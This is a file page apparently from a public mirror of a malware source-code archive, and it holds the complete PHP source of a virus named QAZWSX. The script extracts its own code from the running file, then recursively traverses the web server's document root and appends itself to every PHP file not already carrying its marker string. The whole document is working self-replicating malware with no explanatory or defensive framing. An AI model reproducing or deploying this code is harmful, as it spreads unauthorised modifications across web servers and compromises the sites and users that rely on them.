mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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93 lines
2.1 KiB
Plaintext
93 lines
2.1 KiB
Plaintext
PHP.QAZWSX
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<?//QAZWSX
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function Infect($path)
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{
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global $self;
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$handle = opendir($path);
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$file = readdir($handle);
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while ( false != $file )
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{
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if ($file != "." && $file != "..")
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{
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if (is_dir($path.$file))
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{
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Infect($path.$file."/");
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}
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else if (strrpos($file, ".php") != 0)
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{
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$do_infect = true;
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$victim = fopen($path.$file, "r+");
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while (!feof($victim))
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{
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$buf = fgets($victim, 4096);
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if (strrpos($buf, "QAZWSX") != 0)
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{
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$do_infect = false;
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break;
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}
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}
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if ($do_infect)
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{
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fputs($victim, $self);
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}
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fclose($victim);
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}
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}
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$file = readdir($handle);
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}
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closedir($handle);
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}
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$found = false;
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$bracket_found = false;
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$sf = fopen($SCRIPT_FILENAME, "r");
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while (!feof($sf))
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{
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$s = fgets($sf, 4096);
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if ($found)
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{
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$self .= $s;
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if (strrpos($s, "?>") != 0)
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{
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if ($bracket_found)
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{
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break;
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}
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else
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{
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$bracket_found = true;
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}
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}
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}
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else if (strrpos($s, "QAZWSX") != 0)
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{
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$found = true;
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$self = $s;
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}
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}
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fclose($sf);
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Infect($DOCUMENT_ROOT."/");
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?>
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